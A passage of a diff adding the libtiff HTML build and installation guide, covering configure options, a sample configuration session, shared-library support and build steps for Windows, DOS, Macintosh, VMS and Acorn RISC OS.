+<b>./configure</b>.
+<p>In general, the software is designed such that the following
+should be ``<i>make-able</i>'' in each directory:</p>
+<div style="margin-left: 2em">
+<pre>
+make [all]      build stuff
+make install    build&amp;install stuff
+make clean      remove .o files, executables and cruft
+make distclean  remove everything, that can be recreated
+</pre></div>
+Note that after running "<tt>make distclean</tt>" the
+<tt>configure</tt> script must be run again to create the Makefiles
+and other make-related files. <a name="BuildTrees" id=
+"BuildTrees"></a>
+<hr width="65%" align="right">
+<h3>Build Trees</h3>
+There are two schemes for configuring and building the software. If
+you intend to build the software for only one target system, you
+can configure the software so that it is built in the same
+directories as the source code.
+<div style="margin-left: 2em">
+<pre>
+hyla% <b>cd tiff-v3.4beta099</b>
+hyla% <b>ls</b>
+COPYRIGHT       VERSION         config.sub      dist            man
+Makefile.in     config.guess    configure       html            port
+README          config.site     contrib         libtiff         tools
+hyla% <b>./configure</b>
+</pre></div>
+<p>Otherwise, you can configure a build tree that is parallel to
+the source tree hierarchy but which contains only configured files
+and files created during the build procedure.</p>
+<div style="margin-left: 2em">
+<pre>
+hyla% <b>cd tiff-v3.4beta099</b>
+hyla% <b>mkdir obj obj/mycpu</b>
+hyla% <b>cd obj/mycpu</b>
+hyla% <b>../../configure</b>
+</pre></div>
+This second scheme is useful for:
+<ul>
+<li>building multiple targets from a single source tree</li>
+<li>building from a read-only source tree (e.g. if you receive the
+distribution on CD-ROM)</li>
+</ul>
+<a name="ConfigOptions" id="ConfigOptions"></a>
+<hr width="65%" align="right">
+<h3>Configuration Options</h3>
+The configuration process is critical to the proper compilation,
+installation, and operation of the software. The configure script
+runs a series of tests to decide whether or not the target system
+supports required functionality and, if it does not, whether it can
+emulate or workaround the missing functions. This procedure is
+fairly complicated and, due to the nonstandard nature of most UNIX
+systems, prone to error. The first time that you configure the
+software for use you should check the output from the configure
+script and look for anything that does not make sense for your
+system.
+<p>A second function of the configure script is to set the default
+configuration parameters for the software. Of particular note are
+the directories where the software is to be installed. By default
+the software is installed in the <b>/usr/local</b> hierarchy. To
+change this behaviour the appropriate parameters can be specified
+on the command line to configure. Run <b>./configure --help</b> to
+get a list of possible options. Installation related options are
+shown below.</p>
+<pre>
+<tt>
+Installation directories:
+  --prefix=PREFIX         install architecture-independent files in PREFIX
+                          [/usr/local]
+  --exec-prefix=EPREFIX   install architecture-dependent files in EPREFIX
+                          [PREFIX]
+
+By default, `make install' will install all the files in
+`/usr/local/bin', `/usr/local/lib' etc.  You can specify
+an installation prefix other than `/usr/local' using `--prefix',
+for instance `--prefix=$HOME'.
+
+For better control, use the options below.
+
+Fine tuning of the installation directories:
+  --bindir=DIR           user executables [EPREFIX/bin]
+  --sbindir=DIR          system admin executables [EPREFIX/sbin]
+  --libexecdir=DIR       program executables [EPREFIX/libexec]
+  --datadir=DIR          read-only architecture-independent data [PREFIX/share]
+  --sysconfdir=DIR       read-only single-machine data [PREFIX/etc]
+  --sharedstatedir=DIR   modifiable architecture-independent data [PREFIX/com]
+  --localstatedir=DIR    modifiable single-machine data [PREFIX/var]
+  --libdir=DIR           object code libraries [EPREFIX/lib]
+  --includedir=DIR       C header files [PREFIX/include]
+  --oldincludedir=DIR    C header files for non-gcc [/usr/include]
+  --infodir=DIR          info documentation [PREFIX/info]
+  --mandir=DIR           man documentation [PREFIX/man]
+
+Program names:
+  --program-prefix=PREFIX            prepend PREFIX to installed program names
+  --program-suffix=SUFFIX            append SUFFIX to installed program names
+  --program-transform-name=PROGRAM   run sed PROGRAM on installed program names
+</tt>
+</pre>
+<a name="Packages" id="Packages"></a>
+<hr width="65%" align="right">
+<h3>Configuring Optional Packages/Support</h3>
+The TIFF software comes with several packages that are installed
+only as needed, or only if specifically configured at the time the
+configure script is run. Packages can be configured via the
+<b>configure</b> script commandline parameters.
+<dl>
+<dt><i>Static/Shared Objects Support</i></dt>
+<dd><tt>--enable-shared[=PKGS]&nbsp;&nbsp;&nbsp;&nbsp;build shared
+libraries [default=yes]<br>
+--enable-static[=PKGS]&nbsp;&nbsp;&nbsp;&nbsp;build static
+libraries [default=yes]</tt>
+<p>These options control whether or not to configure the software
+to build a shared and static binaries for the TIFF library. Use of
+shared libraries can significantly reduce the disk space needed for
+users of the TIFF software. If shared libarries are not used then
+the code is statically linked into each application that uses it.
+By default both types of binaries is configured.</p>
+<p><tt>--enable-rpath&nbsp;&nbsp;&nbsp;&nbsp;Enable runtime linker
+paths (-R libtool option)</tt></p>
+<p>Add library directories (see other options below) to the TIFF
+library run-time linker path.</p>
+</dd>
+<dt><i>JPEG Support</i></dt>
+<dd><tt>--disable-jpeg&nbsp;&nbsp;&nbsp;&nbsp;disable IJG JPEG
+library usage (required for JPEG compression, enabled by default)
+--with-jpeg-include-dir=DIR&nbsp;&nbsp;&nbsp;&nbsp;location of IJG
+JPEG library headers
+--with-jpeg-lib-dir=DIR&nbsp;&nbsp;&nbsp;&nbsp;location of IJG JPEG
+library binary)</tt></dd>
+<dd>The <tt>JPEG</tt> package enables support for the handling of
+TIFF images with JPEG-encoded data. Support for JPEG-encoded data
+requires the Independent JPEG Group (IJG) <tt>libjpeg</tt>
+distribution; this software is available at <a href=
+"ftp://ftp.uu.net/graphics/jpeg/">ftp.uu.net:/graphics/jpeg/</a>.
+<b>configure</b> script automatically tries to search the working
+IJG JPEG installation. If it fails to find library, JPEG support
+will be automatically disabled.If you want specify the exact paths
+to library binary and headers, use above switches for that.</dd>
+<dt><i>ZIP Support</i></dt>
+<dd>The <tt>ZIP</tt> support enables support for the handling of
+TIFF images with deflate-encoded data. Support for deflate-encoded
+data requires the freely available <tt>zlib</tt> distribution
+written by Jean-loup Gailly and Mark Adler; this software is
+available at <a href=
+"ftp://ftp.uu.net/pub/archiving/zip/zlib/">ftp.uu.net:/pub/archiving/zip/zlib/</a>
+(or try <a href=
+"ftp://quest.jpl.nasa.gov/beta/zlib/">quest.jpl.nasa.gov:/beta/zlib/</a>).
+If ZIP support is enabled the <tt>DIRS_LIBINC</tt> and
+<tt>DIR_GZLIB</tt> parameters should also be set (see below). By
+default this package is not configured.</dd>
+</dl>
+<a name="Sample" id="Sample"></a>
+<hr width="65%" align="right">
+<h3>A Sample Configuration Session</h3>
+This section shows a sample configuration session and describes the
+work done. The session is shown indented in a <tt>fixed width
+font</tt> with user-supplied input in a <tt><b>bold font</b></tt>.
+Comments are shown in a normal or <i>italic</i> font. This session
+was collected on a 486 machine running BSDI 1.1.
+<div style="margin-left: 2em">
+<pre>
+<tt>
+wullbrandt% <b>mkdir tiff</b>
+wullbrandt% <b>cd tiff</b>
+wullbrandt% <b>ln -s /hosts/oxford/usr/people/sam/tiff src</b>
+</tt>
+</pre></div>
+A build tree separate from the source tree is used here. In fact,
+in this case the distribution is accessed from a read-only
+NFS-mounted filesystem.
+<div style="margin-left: 2em">
+<pre>
+<tt>
+wullbrandt% <b>src/configure</b>
+Configuring TIFF Software v3.4beta015.
+
+Reading site-wide parameters from ../tiff-v3.4beta015/config.site.
+Reading local parameters from config.local.
+Gosh, aren't you lucky to have a i386-unknown-bsdi1.1 system!
+</tt>
+</pre></div>
+Note that configure announces the distribution version and the
+deduced target configuration (<tt>i386-unknown-bsdi1.1</tt> here).
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Using /usr/local/bin/gcc for a C compiler (set CC to override).
+Looks like /usr/local/bin/gcc supports the -g option.
+Using " -g" for C compiler options.
+</tt>
+</pre></div>
+configure checked the normal shell search path for potential ANSI C
+compilers. The compiler is selected according to it properly
+compiling a small ANSI C test program. A specific compiler may be
+requested by setting the <tt>CC</tt> environment variable to the
+appropriate pathname, by supplying the parameter on the command
+line, e.g. <tt>-with-CC=gcc</tt>, or by setting <tt>CC</tt> in a
+configuration file.
+<p><img src="images/info.gif" align="left" hspace="10"> <em>Note
+that an ANSI C compiler is required to build the software. If a C
+compiler requires options to enable ANSI C compilation, they can be
+specified with the <tt>ENVOPTS</tt> parameter.</em></p>
+<p>Once a compiler is selected configure checks to see if the
+compiler accepts a -g option to enable the generation of debugging
+symbols, and if the compiler includes an ANSI C preprocessor.</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Using /usr/ucb/make to configure the software.
+</tt>
+</pre></div>
+Next various system-specific libraries that may or may not be
+needed are checked for (none are needed in this case). If your
+system requires a library that is not automatically included it can
+be specified by setting the <tt>MACHDEPLIBS</tt> parameter.
+<p><i>Creating port.h.</i> The <b>port.h</b> file is included by
+all the C code in the library (but not the tools). It includes
+definitions for functions and type definitions that are missing
+from system include files, <tt>#defines</tt> to enable or disable
+system-specific functionality, and other odds and ends.</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Creating libtiff/port.h with necessary definitions.
+... using LSB2MSB bit order for your i386 cpu
+... using big-endian byte order for your i386 cpu
+... configure use of mmap for memory-mapped files
+... O_RDONLY is in &lt;fcntl.h&gt;
+... using double for promoted floating point parameters
+... enabling use of inline functions
+Done creating libtiff/port.h.
+</tt>
+</pre></div>
+This file can take a long time to create so configure generates the
+file only when it is needed, either because the file does not exist
+or because a different target or compiler is to be used. Note that
+running "<tt>make distclean</tt>" in the top-level directory of the
+build tree will remove the <b>port.h</b> file (along with all the
+other files generated by configure).
+<p><i>Selecting emulated library functions.</i> Certain library
+functions used by the tools are not present on all systems and can
+be emulated using other system functionality. configure checks for
+the presence of such functions and if they are missing, will
+configure emulation code from the <b>port</b> directory to use
+instead. Building the TIFF software on unsupported systems may
+require adding to the code to the <b>port</b> directory.</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Checking system libraries for functionality to emulate.
+Done checking system libraries.
+</tt>
+</pre></div>
+If a routine must be emulated and configure does not automatically
+check for it, the routine name can be specified using the
+<tt>PORTFUNCS</tt> parameter. To add emulation support for a new
+function <tt>foo</tt>, create a file <b>port/foo.c</b> that
+contains the emulation code and then set <tt>PORTFUNCS=foo</tt> in
+a configuration file or modify the configure script to
+automatically check for the missing function.
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Checking for Dynamic Shared Object (DSO) support.
+Done checking for DSO support.
+</tt>
+</pre></div>
+If the <tt>DSO</tt> package is enabled (<tt>DSO=auto</tt> or
+<tt>DSO=yes</tt>), then configure will verify the system and
+compiler are capable of constructing SVR4-style DSO's in the
+expected way. Note that while a system may support DSO's the
+compiler may not be capable of generating the required
+position-independent code and/or the compiler may not pass the
+needed options through to the loader.
+<p><i>Selecting utility programs.</i> configure locates various
+system utility programs that are used during installation of the
+software.</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Selecting programs used during installation.
+Looks like mv supports the -f option to force a move.
+Looks like /bin/ln supports the -s option to create a symbolic link.
+Done selecting programs.
+</tt>
+</pre></div>
+<p><i>Selecting default configuration parameters.</i> The remainder
+of the work done by configure involves setting up configuration
+parameters that control the placement and setup of files during the
+installation procedure.</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Selecting default TIFF configuration parameters.
+
+Looks like manual pages go in /usr/contrib/man.
+Looks like manual pages should be installed with bsd-nroff-gzip-0.gz.
+
+TIFF configuration parameters are:
+
+[ 1] Directory for tools:               /usr/contrib/bin
+[ 2] Directory for libraries:           /usr/contrib/lib
+[ 3] Directory for include files:       /usr/contrib/include
+[ 4] Directory for manual pages:        /usr/contrib/man
+[ 5] Manual page installation scheme:   bsd-nroff-gzip-0.gz
+
+Are these ok [yes]? 
+</tt>
+</pre></div>
+At this point you can interactively modify any of the displayed
+parameters. Hitting a carriage return or typing <tt>yes</tt> will
+accept the current parameters. Typing one of the number displayed
+along the left hand side causes configure to prompt for a new value
+of the specified parameter. Typing anything else causes configure
+to prompt for a new value <em>for each parameter</em>. In general
+hitting carriage return will accept the current value and typing
+anything that is unacceptable will cause a help message to be
+displayed. A description of each of the configuration parameters is
+given below.
+<p>Once acceptable parameters are setup configure will generate all
+the files that depend on these parameters. Note that certain files
+may or may not be created based on the configuration of optional
+packages and/or the functions supported by target system.</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+Creating Makefile from ../tiff-v3.4beta015/Makefile.in
+Creating libtiff/Makefile from ../tiff-v3.4beta015/libtiff/Makefile.in
+Creating man/Makefile from ../tiff-v3.4beta015/man/Makefile.in
+Creating tools/Makefile from ../tiff-v3.4beta015/tools/Makefile.in
+Creating port/install.sh from ../tiff-v3.4beta015/port/install.sh.in
+Done.
+</tt>
+</pre></div>
+<a name="DSOSupport" id="DSOSupport"></a>
+<hr>
+<h3>Shared Library Support</h3>
+It is desirable to make the TIFF library be a shared object on
+systems that have support for shared libraries. Unfortunately the
+rules to use to build a shared library vary between operating
+systems and even compilers. The distributed software includes
+support for building a shared version of the library on a number of
+different systems. This support is split between rules in the file
+<b>libtiff/Makefile.in</b> that construct the shared library and
+checks done by the <tt>configure</tt> script to verify that the
+expected rules are supported by compilation tools for the target
+system.
+<p>To add new support for building a shared library both these
+files must be updated. In the configure script search for the
+section where the autoconfiguration setting of the <tt>DSO</tt>
+parameter is handled and add a new case for the target system that
+sets the <tt>DSOSUF</tt>, <tt>DSOLD</tt>, <tt>DSOOPTS</tt>, and
+<tt>LIBCOPTS</tt> options as appropriate for the system.
+<tt>DSOSUF</tt> specifies the filename suffix used for the shared
+library (e.g. ``.so'' for Dynamic Shared Objects on most SVR4-based
+systems). <tt>DSOLD</tt> specifies the program to use to build the
+shared library from a compiled object file; typically ``${LD}''
+though on some systems it is better to use the C compiler directly
+so system-dependent options and libraries are automatically
+supplied. <tt>DSOOPTS</tt> are options that must be specified to
+<tt>DSOLD</tt> when building the shared library. <tt>LIBCOPTS</tt>
+are options to pass to the C compiler when constructing a
+relocatable object file to include in a shared library; e.g. ``-K
+PIC'' on a Sun system. The <tt>DSO</tt> parameter must also be set
+to a unique label that identifies the target system and compilation
+tools. This label is used to select a target in
+<b>libtiff/Makefile.in</b> to do the actual work in building the
+shared library. Finally, to complete support for the shared library
+added the appropriate rules to <b>libtiff/Makefile.in</b> under the
+target specified in the <tt>configure</tt> script. <a name="PC" id=
+"PC"></a></p>
+<hr>
+<h2>Building the Software under Windows 95/98/NT/2000 with MS
+VC++</h2>
+With Microsoft Visual C++ installed, and properly configured for
+commandline use (you will likely need to source VCVARS32.BAT in
+AUTOEXEC.bAT or somewhere similar) you should be able to use the
+provided <tt>makefile.vc</tt>.
+<p>The source package is delivered using Unix line termination
+conventions, which work with MSVC but do not work with Windows
+'notepad'. If you use unzip from the <a href=
+"http://www.info-zip.org/pub/infozip/">Info-Zip</a> package, you
+can extract the files using Windows normal line termination
+conventions with a command similar to:</p>
+<pre>
+  unzip -aa -a tiff-3.7.4.zip
+</pre>
+<p>By default libtiff expects that a pre-built zlib and jpeg
+library are provided by the user. If this is not the case, then you
+may edit libtiff\tiffconf.h using a text editor (e.g. notepad) and
+comment out the entries for JPEG_SUPPORT, PIXARLOG_SUPPORT, and
+ZIP_SUPPORT. Ignore the comment at the top of the file which says
+that it has no influence on the build, because the statement is not
+true for Windows. However, by taking this approach, libtiff will
+not be able to open some TIFF files.</p>
+<p>To build using the provided makefile.vc you may use:</p>
+<pre>
+  C:\tiff-3.7.4&gt; nmake /f makefile.vc clean
+  C:\tiff-3.7.4&gt; nmake /f makefile.vc
+
+    or (the hard way)
+
+  C:\tiff-3.7.4&gt; cd port
+  C:\tiff-3.7.4\port&gt; nmake /f makefile.vc clean
+  C:\tiff-3.7.4\port&gt; nmake /f makefile.vc
+  C:\tiff-3.7.4&gt; cd ../libtiff
+  C:\tiff-3.7.4\libtiff&gt; nmake /f makefile.vc clean
+  C:\tiff-3.7.4\libtiff&gt; nmake /f makefile.vc
+  C:\tiff-3.7.4\libtiff&gt; cd ..\tools
+  C:\tiff-3.7.4\tools&gt; nmake /f makefile.vc clean
+  C:\tiff-3.7.4\tools&gt; nmake /f makefile.vc
+</pre>
+<p>This will build the library file
+<tt>libtiff\libtiff\libtiff.lib</tt>. This can be used in Win32
+programs. You may want to adjust the build options before start
+compiling. All parameters contained in the <tt>nmake.opt</tt>
+file.This is a plain text file you can open with your favorite text
+editor.</p>
+<p>The makefile also builds a DLL (libtiff.dll) with an associated
+import library (libtiff_i.lib). Any builds using libtiff will need
+to include the LIBTIFF\LIBTIFF directory in the include path.</p>
+<p>The <tt>libtiff\tools\makefile.vc</tt> should build .exe's for
+all the standard TIFF tool programs.</p>
+<p><a name="DJGPP" id="DJGPP"></a></p>
+<hr>
+<h2>Building the Software under MS/DOS with the DJGPP v2
+compiler</h2>
+[<i>From the file <b>contrib/dosdjgpp/README</b>.</i>]
+<p>The directory <b>contrib/dosdjgpp</b> contains the files
+necessary to build the library and tools with the DJGPP v2 compiler
+under MSDOS.</p>
+<p>All you have to do is copy the files in the directory into the
+respective directories and run make. If you want, you can use the
+<b>conf.bat</b> script to do that for you, make sure that the file
+is stored with MSDOS text EOL-convention (CR/LF), otherwise the
+<b>command.com</b> will not do anything.</p>
+<p>Note that you probably will not be able to build the library
+with the v1.x versions of djgpp, due to two problems. First, the
+top makefile calls a sub-make for each directory and you are likely
+to run out of memory, since each recursive invocation of a djgpp
+v1.x program requires about 130k, to avoid that, you can enter the
+directories manually and call make (well, there are only two dirs).
+The 2nd problem is that djgpp 1.x doesn't call the coff2exe
+(stubify) program when creating an executable. This means that all
+programs compiled are not converted to exe and consequently are not
+available for calling directly. For the tools directory, you can
+just call coff2exe for each program after make finishes, but in the
+libtiff directory, a few programs are created during the make
+process that have to be called for make to continue (e.g.
+mkg3states). Make will probably report an error at each such stage.
+To fix that, either add a coff2exe call before each program is
+called or call coff2exe manually and rerun make (there 2-3 such
+programs). <a name="MacMPW" id="MacMPW"></a></p>
+<hr>
+<h2>Building the Software on a Macintosh with MPW</h2>
+The directory <b>contrib/mac-mpw</b> contains support for compiling
+the library and tools under the MPW Shell on a Macintosh system.
+This support was contributed by Niles Ritter (<a href=
+"mailto:ndr@tazboy.jpl.nasa.gov">ndr@tazboy.jpl.nasa.gov</a>).
+<p>[<i>From the file <b>contrib/mac-mpw/README</b>.</i>]</p>
+<p>This directory contains all of the utilities and makefile source
+to build the LIBTIFF library and tools from the MPW Shell. The file
+BUILD.mpw in this directory is an executable script which uses all
+of these files to create the MPW makefiles and run them.</p>
+<p>The &lt;file&gt;.make files are not MPW makefiles as such, but
+are when run through the "mactrans" program, which turns the ascii
+"%nn" metacharacters into the standard weird MPW make
+characters.</p>
+<p>This translation trick is necessary to protect the files when
+they are put into unix tarfiles, which tend to mangle the special
+characters. <a name="MacCW" id="MacCW"></a></p>
+<hr>
+<h2>Building the Software on a Macintosh with CodeWarrior</h2>
+The directory <b>contrib/mac-cw</b> contains support for compiling
+the library and tools with MetroWerks CodeWarrior 6.1 on a
+Macintosh system. This support was contributed by Niles Ritter
+(<a href=
+"mailto:ndr@tazboy.jpl.nasa.gov">ndr@tazboy.jpl.nasa.gov</a>).
+<p>[<i>From the file <b>contrib/mac-cw/README</b>.</i>] In this
+directory you will find a Makefile.script Applescript file, which
+should be run in order to build the libtiff code using MetroWerks
+CodeWarrior. Refer to the "metrowerks.note" instructions on
+building the library for 68k and PowerPC native code, as well as
+building some of the libtiff tools, which are rather unix-like, but
+at least give an example of how to link everything together.
+<a name="VMS" id="VMS"></a></p>
+<hr>
+<h2>Building the Software on a VMS System</h2>
+The VMS port was done by Karsten Spang (<a href=
+"mailto:krs@kampsax.dk">krs@kampsax.dk</a>), who also "sort of"
+maintains it. The VMS specific files are not in the main
+directories. Instead they are placed under
+<tt>[.CONTRIB.VMS...]</tt> in the distribution tree. Installation:
+It is assumed that you have unpacked the tar file into a VMS
+directory tree, in this text called DISK:[TIFF].
+<ol>
+<li>Move the VMS specific files to their proper directories.
+<pre>
+$ SET DEFAULT DISK:[TIFF.CONTRIB.VMS]
+$ RENAME [.LIBTIFF]*.* [-.-.LIBTIFF]
+$ RENAME [.TOOLS]*.* [-.-.TOOLS]
+</pre></li>
+<li>Compile the library.
+<pre>
+$ SET DEFAULT DISK:[TIFF.LIBTIFF]
+$ @MAKEVMS
+</pre></li>
+<li>Compile the tools.
+<pre>
+$ SET DEFAULT DISK:[TIFF.TOOLS]
+$ @MAKEVMS
+</pre></li>
+<li>Define the programs.
+<pre>
+$ DEFINE TIFFSHR DISK:[TIFF.LIBTIFF]TIFFSHR
+$ FAX2PS    :==$DISK:[TIFF.TOOLS]FAX2PS
+$ FAX2TIFF  :==$DISK:[TIFF.TOOLS]FAX2TIFF
+$ GIF2TIFF  :==$DISK:[TIFF.TOOLS]GIF2TIFF
+$ PAL2RGB   :==$DISK:[TIFF.TOOLS]PAL2RGB
+$ PPM2TIFF  :==$DISK:[TIFF.TOOLS]PPM2TIFF
+$ RAS2TIFF  :==$DISK:[TIFF.TOOLS]RAS2TIFF
+$ RGB2YCBCR :==$DISK:[TIFF.TOOLS]RGB2YCBCR
+$ THUMBNAIL :==$DISK:[TIFF.TOOLS]THUMBNAIL
+$ TIFF2BW   :==$DISK:[TIFF.TOOLS]TIFF2BW
+$ TIFF2PS   :==$DISK:[TIFF.TOOLS]TIFF2PS
+$ TIFFCMP   :==$DISK:[TIFF.TOOLS]TIFFCMP
+$ TIFFCP    :==$DISK:[TIFF.TOOLS]TIFFCP
+$ TIFFDITHER:==$DISK:[TIFF.TOOLS]TIFFDITHER
+$ TIFFDUMP  :==$DISK:[TIFF.TOOLS]TIFFDUMP
+$ TIFFINFO  :==$DISK:[TIFF.TOOLS]TIFFINFO
+$ TIFFMEDIAN:==$DISK:[TIFF.TOOLS]TIFFMEDIAN
+$ TIFFSPLIT :==$DISK:[TIFF.TOOLS]TIFFSPLIT
+$ YCBCR     :==$DISK:[TIFF.TOOLS]YCBCR
+</pre></li>
+</ol>
+You will want to add these lines to your <tt>LOGIN.COM</tt> file,
+after changing the name of the directory that you have used on your
+machine.
+<p>This release has been tested on OpenVMS/VAX 5.5-2, using VAX C
+3.2. A previous release was tested under OpenVMS/AXP ?.? using DEC
+C ?.?, it is believed that this release as well works on AXP. The
+code contains some GNU C specific things. This does *not* imply,
+however, that the VAX/GCC configuration has been tested, *it has
+not*.</p>
+<p>The command procedures (<tt>MAKEVMS.COM</tt>) for building the
+library and tools, is believed to choose the correct options for
+the VAX and AXP cases automatically.</p>
+<p>On the AXP, IEEE floating point is used by default. If you want
+VAX floating point, remove the <tt>/FLOAT=IEEE_FLOAT</tt>
+qualifier, and change <tt>HAVE_IEEEFP=1</tt> to
+<tt>HAVE_IEEEFP=0</tt> in the <tt>MAKEVMS.COM</tt> files in both
+the <b>libtiff</b> and <b>tools</b> directories.</p>
+<h3>Compiling your own program on a VMS system:</h3>
+When compiling a source file in which you <tt>"#include
+&lt;tiffio.h&gt;"</tt>, use the following command
+<pre>
+    $ CC/INCLUDE=DISK:[TIFF.LIBTIFF]
+</pre>
+This ensures that the header file is found. On the AXP, also add
+<tt>/FLOAT=IEEE_FLOAT</tt> (if used when building the library).
+<h3>Linking your own program to the TIFF library on a VMS
+system:</h3>
+You can link to the library in two ways: Either using the shareable
+library, or using the object library. On the VAX these
+possibilities are:
+<ol>
+<li>Using the shareable TIFF library.
+<pre>
+$ LINK MY_PROGRAM,DISK:[TIFF.LIBTIFF]TIFF/OPTIONS,SYS$INPUT:/OPTIONS
+    SYS$SHARE:VAXCRTL/SHAREABLE
+</pre></li>
+<li>Using the TIFF object library.
+<pre>
+$ LINK MY_PROGRAM, -
+    DISK:[TIFF.LIBTIFF]TIFF/LIBRARY/INCLUDE=(TIF_FAX3SM,TIF_CODEC), -
+    SYS$INPUT:/OPTIONS
+    SYS$SHARE:VAXCRTL/SHAREABLE
+</pre></li>
+</ol>
+On AXP (and possibly also using DEC C on VAX) the corresponding
+commands are
+<ol>
+<li>Using the shareable TIFF library.
+<pre>
+$ LINK MY_PROGRAM,DISK:[TIFF.LIBTIFF]TIFF/OPTIONS
+</pre></li>
+<li>Using the TIFF object library.
+<pre>
+$ LINK MY_PROGRAM,DISK:[TIFF.LIBTIFF]TIFF/LIBRARY
+</pre></li>
+</ol>
+Method 1 uses the shortest link time and smallest <tt>.EXE</tt>
+files, but it requires that <tt>TIFFSHR</tt> is defined as above at
+link time and <strong>at run time</strong>. Using the compilation
+procedure above, the tools are linked in this way.
+<p>Method 2 gives somewhat longer link time and larger
+<tt>.EXE</tt> files, but does not require <tt>TIFFSHR</tt> to be
+defined. This method is recommended if you want to run your program
+on another machine, and for some reason don't want to have the
+library on that machine. If you plan to have more than one program
+(including the tools) on the machine, it is recommended that you
+copy the library to the other machine and use method 1. <a name=
+"Acorn" id="Acorn"></a></p>
+<hr>
+<h2>Building the Software on an Acorn RISC OS system</h2>
+The directory <b>contrib/acorn</b> contains support for compiling
+the library under Acorn C/C++ under Acorn's RISC OS 3.10 or above.
+Subsequent pathnames will use the Acorn format: The full-stop or
+period character is a pathname delimeter, and the slash character
+is not interpreted; the reverse position from Unix. Thus
+"libtiff/tif_acorn.c" becomes "libtiff.tif_acorn/c".
+<p>This support was contributed by Peter Greenham. (<a href=
+"mailto:peter@enlarion.demon.co.uk">peter@enlarion.demon.co.uk</a>).</p>
+<h3>Installing LibTIFF:</h3>
+<p>LIBTIFF uses several files which have names longer than the
+normal RISC OS maximum of ten characters. This complicates matters.
+Maybe one day Acorn will address the problem and implement long
+filenames properly. Until then this gets messy, especially as I'm
+trying to do this with obeyfiles and not have to include binaries
+in this distribution.</p>
+<p>First of all, ensure you have Truncate configured on (type
+<tt>*Configure Truncate On</tt>)</p>
+<p>Although it is, of course, preferable to have long filenames,
+LIBTIFF can be installed with short filenames, and it will compile
+and link without problems. However, <i>getting</i> it there is more
+problematic. <b>contrib.acorn.install</b> is an installation
+obeyfile which will create a normal Acorn-style library from the
+source (ie: with c, h and o folders etc.), but needs the
+distribution library to have been unpacked into a location which is
+capable of supporting long filenames, even if only temporarily.</p>
+<p>My recommendation, until Acorn address this problem properly, is
+to use Jason Tribbeck's <a href=
+"ftp://ftp.demon.co.uk/pub/mirrors/hensa/micros/arch/riscos/c/c020/longfiles.arc">
+LongFilenames</a>, or any other working system that gives you long
+filenames, like a nearby NFS server for instance.</p>
+<p>If you are using Longfilenames, even if only temporarily to
+install LIBTIFF, unpack the TAR into a RAMDisc which has been
+longfilenamed (ie: <tt>*addlongfs ram</tt>) and then install from
+there to the hard disk. Unfortunately Longfilenames seems a bit
+unhappy about copying a bunch of long-named files across the same
+filing system, but is happy going between systems. You'll need to
+create a ramdisk of about 2Mb.</p>
+<p>Now you can run the installation script I've supplied (in
+contrib.acorn), which will automate the process of installing
+LIBTIFF as an Acorn-style library. The syntax is as follows:</p>
+<p><tt>install &lt;source_dir&gt; &lt;dest_dir&gt;</tt></p>
+<p>Install will then create &lt;dest_dir&gt; and put the library in
+there. For example, having used LongFilenames on the RAMDisk and
+unpacked the library into there, you can then type:</p>
+<p><tt>Obey RAM::RamDisc0.$.contrib.acorn.install RAM::RamDisc0.$
+ADFS::4.$.LIBTIFF</tt></p>
+<p>It doesn't matter if the destination location can cope with long
+filenames or not. The filenames will be truncated if necessary
+(*Configure Truncate On if you get errors) and all will be
+well.</p>
+<h3>Compiling LibTIFF:</h3>
+<p>Once the LibTIFF folder has been created and the files put
+inside, making the library should be just a matter of running
+'<b>SetVars</b>' to set the appropriate system variables, then
+running '<b>Makefile</b>'.</p>
+<p><b>OSLib</b></p>
+<p><a href=
+"ftp://ftp.acorn.co.uk/pub/riscos/releases/oslib/oslib.arc">OSLib</a>
+is a comprehensive API for RISC OS machines, written by Jonathan
+Coxhead of Acorn Computers (although OSLib is not an official Acorn
+product). Using the OSLib SWI veneers produces code which is more
+compact and more efficient than code written using _kernel_swi or
+_swi. The Acorn port of LibTIFF can take advantage of this if
+present. Edit the Makefile and go to the Static dependencies
+section. The first entry is:</p>
+<pre>
+# Static dependencies:
+@.o.tif_acorn:   @.c.tif_acorn
+        cc $(ccflags) -o @.o.tif_acorn @.c.tif_acorn 
+</pre>
+<p>Change the cc line to:</p>
+<pre>
+        cc $(ccflags) -DINCLUDE_OSLIB -o @.o.tif_acorn @.c.tif_acorn 
+</pre>
+<p>Remember, however, that OSLib is only <i>recommended</i> for
+efficiency's sake. It is not required. <a name="Other" id=
+"Other"></a></p>
+<hr>
+<h2>Building the Software on Other Systems</h2>
+This section contains information that might be useful if you are
+working on a non-UNIX system that is not directly supported. All
+library-related files described below are located in the
+<b>libtiff</b> directory.
+<p>The library requires two files that are generated
+<i>on-the-fly</i>. The file <b>tif_fax3sm.c</b> has the state
+tables for the Group 3 and Group 4 decoders. This file is generated
+by the <tt>mkg3states</tt> program on a UNIX system; for
+example,</p>
+<div style="margin-left: 2em">
+<pre>
+<tt>
+cd libtiff
+cc -o mkg3states mkg3states.c
+rm -f tif_fax3sm.c
+./mkg3states -c const tif_fax3sm.c
+</tt>
+</pre></div>
+The <tt>-c</tt> option can be used to control whether or not the
+resutling tables are generated with a <tt>const</tt> declaration.
+The <tt>-s</tt> option can be used to specify a C storage class for
+the table declarations. The <tt>-b</tt> option can be used to force
+data values to be explicitly bracketed with ``{}'' (apparently
+needed for some MS-Windows compilers); otherwise the structures are
+emitted in as compact a format as possible. Consult the source code
+for this program if you have questions.
+<p>The second file required to build the library, <b>version.h</b>,
+contains the version information returned by the
+<tt>TIFFGetVersion</tt> routine. This file is built on most systems
+using the <tt>mkversion</tt> program and the contents of the
+<tt>VERSION</tt> and <tt>tiff.alpha</tt> files; for example,</p>
+<div style="margin-left: 2em">
+<pre>
+cd libtiff
+cc -o mkversion mkversion.c
+rm -f version.h
+./mkversion -v ../VERSION -a ../dist/tiff.alpha version.h
+</pre></div>
+<p>Otherwise, when building the library on a non-UNIX system be
+sure to consult the files <b>tiffcomp.h</b> and <b>tiffconf.h</b>.
+The former contains system compatibility definitions while the
+latter is provided so that the software configuration can be
+controlled on systems that do not support the make facility for
+building the software.</p>
